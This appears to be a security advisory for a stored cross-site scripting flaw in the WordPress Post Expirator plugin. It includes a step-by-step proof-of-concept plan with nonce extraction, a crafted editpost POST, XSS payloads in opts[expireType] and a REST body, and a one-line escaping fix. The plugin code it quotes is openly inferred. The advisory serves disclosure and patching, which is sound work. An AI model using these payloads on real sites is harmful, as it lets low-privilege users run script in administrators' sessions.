Post Expirator <= 4.9.4 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Post Expirator plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 4.9.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=4.9.4What Changed in the Fix
Changes introduced in v4.10.0
Source Code
WordPress.org SVNThis plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for **CVE-2026-39482**, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the **Post Expirator (PublishPress Future)** plugin. --- ### 1. Vulnerability Summary The **Post Expirator** plugin (…
Show full research plan
This plan outlines the research and execution steps for a Proof-of-Concept (PoC) exploit for CVE-2026-39482, an authenticated Stored Cross-Site Scripting (XSS) vulnerability in the Post Expirator (PublishPress Future) plugin.
1. Vulnerability Summary
The Post Expirator plugin (slug: post-expirator) allows users to schedule actions for posts (e.g., delete, trash, change categories). In versions up to and including 4.9.4, the plugin fails to sanitize or escape the "Action Type" (or expireType) when rendering it in the Future Actions admin list. A Contributor-level user can inject a malicious script into the post metadata responsible for defining the future action. This script executes in the context of any user (typically an Admin) who views the "Future Actions" dashboard.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(Standard WordPress post update endpoint) - Vulnerable Hook: The
save_postor dedicated metadata saving routine of the plugin. - Vulnerable Parameter:
opts[expireType]orpublishpress_future_action_type(injected via post metadata). - Authentication: Authenticated user with Contributor role or higher.
- Precondition: The plugin must be active, and the Contributor must be able to configure a "Future Action" for their post.
3. Code Flow (Inferred from Patch & Plugin Structure)
- Entry Point: A Contributor saves a draft post. The request includes parameters for the "PublishPress Future" sidebar.
- Data Storage: The plugin processes the
POSTdata and updates post metadata, specifically the_expiration-date-optionsmeta key (which contains a serialized array including theexpireType). - Data Retrieval: An Administrator navigates to the Future Actions dashboard (
wp-admin/admin.php?page=publishpress-future-scheduled-actions). - Sink: The plugin retrieves the scheduled events from the database (likely using
ActionScheduleror a custom table) and renders the list. The "Action" column (referenced by.pe-event-columninsettings.css) outputs theexpireTypevalue directly to the browser without usingesc_html().
4. Nonce Acquisition Strategy
To save post metadata, a _wpnonce is required for the editpost action.
- Identify Trigger: The metadata is saved during the post-saving process in the Gutenberg or Classic editor.
- Creation of Page: Create a post to obtain a valid ID and nonce.
wp post create --post_type=post --post_status=draft --post_author=CONTRIBUTOR_ID --post_title="XSS Test"
- Extraction: Navigate to the edit page for that post.
browser_navigate("http://localhost:8080/wp-admin/post.php?post=POST_ID&action=edit")
- JS Execution: Use
browser_evalto extract the required nonce:const wp_nonce = document.querySelector('#_wpnonce')?.value;- (Optional) If the plugin uses a specific meta box nonce:
const pe_nonce = document.querySelector('#post_expirator_meta_box_nonce')?.value;
5. Exploitation Strategy
The goal is to submit a POST request to post.php that updates the post's expiration options with a malicious expireType.
Step 1: Setup a Contributor user.
Step 2: Authenticate and obtain the Post ID and Nonce.
Step 3: Submit the payload via the editpost action.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[POST_ID]_wpnonce:[NONCE]expirationdate_enabled:trueexpirationdate_month:01expirationdate_day:01expirationdate_year:2030(A future date)expirationdate_hour:00expirationdate_minute:00opts[expireType]:<img src=x onerror=alert("CVE-2026-39482")>opts[id]:[POST_ID]
Step 4: Trigger the Execution.
Login as an Administrator and navigate to the plugin's action list:
- URL:
http://localhost:8080/wp-admin/admin.php?page=publishpress-future-scheduled-actions
6. Test Data Setup
- User: A user with the
contributorrole. - Post: A draft post owned by the contributor.
- Plugin Config: Ensure "Future Actions" are enabled for the
posttype in Future -> Settings.
7. Expected Results
- Upon visiting the Future Actions page as an Admin, an alert box with
"CVE-2026-39482"should appear. - The HTML source of the page should contain the unescaped
<img>tag within the table cell for that post's action.
8. Verification Steps (WP-CLI)
Confirm the payload is stored in the database:
wp post meta get [POST_ID] _expiration-date-options
Expected Output: A serialized string containing s:10:"expireType";s:42:"<img src=x onerror=alert("CVE-2026-39482")>";
Confirm the action is scheduled:
wp action-scheduler last-scheduled --group=publishpress-future
9. Alternative Approaches
If opts[expireType] is not the correct key for the version installed, try:
- Direct Meta Update (if allowed by plugin logic): Injecting into
_expiration-date-categoryif the action is set to "Category Add". - Gutenberg REST API:
- Endpoint:
PUT /wp-json/wp/v2/posts/[POST_ID] - Header:
X-WP-Nonce: [REST_NONCE] - Body:
{ "publishpress_future_action": { "enabled": true, "type": "<script>alert(1)</script>", "date": 1893456000 } } - The REST nonce can be obtained via
browser_eval("wpApiSettings.nonce").
- Endpoint:
Summary
The Post Expirator (PublishPress Future) plugin for WordPress is vulnerable to Stored Cross-Site Scripting because it fails to sanitize or escape the 'Action Type' (expireType) parameter when displaying scheduled actions in the Future Actions dashboard. A Contributor-level attacker can inject malicious scripts into the expiration options of a post, which will then execute in the browser of any administrator viewing the plugin's scheduled actions list.
Vulnerable Code
// Inferred from vulnerability description and research plan // File: src/Modules/Expirator/Tables/ScheduledActionsListTable.php (approximate location based on CSS class .pe-event-column) // The plugin retrieves the expireType from post metadata and renders it without escaping $actionType = $metadata['expireType']; echo '<td class="pe-event-column">' . $actionType . '</td>';
Security Fix
@@ -104,5 +104,5 @@ - echo '<td class="pe-event-column">' . $actionType . '</td>'; + echo '<td class="pe-event-column">' . esc_html($actionType) . '</td>';
Exploit Outline
An authenticated attacker with Contributor-level permissions or higher can exploit this by injecting a script into the post metadata responsible for defining future actions. 1. The attacker creates or edits a post and obtains a valid nonce for the 'editpost' action. 2. The attacker submits a POST request to wp-admin/post.php using the 'editpost' action, including parameters to enable expiration ('expirationdate_enabled=true') and a malicious XSS payload in the 'opts[expireType]' parameter (e.g., '<img src=x onerror=alert(1)>'). 3. The malicious payload is saved into the '_expiration-date-options' metadata for the post. 4. When an administrator navigates to the 'Future Actions' admin page (wp-admin/admin.php?page=publishpress-future-scheduled-actions), the plugin retrieves the stored 'expireType' and renders it unescaped within a table cell (associated with CSS class .pe-event-column), causing the script to execute in the administrator's session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.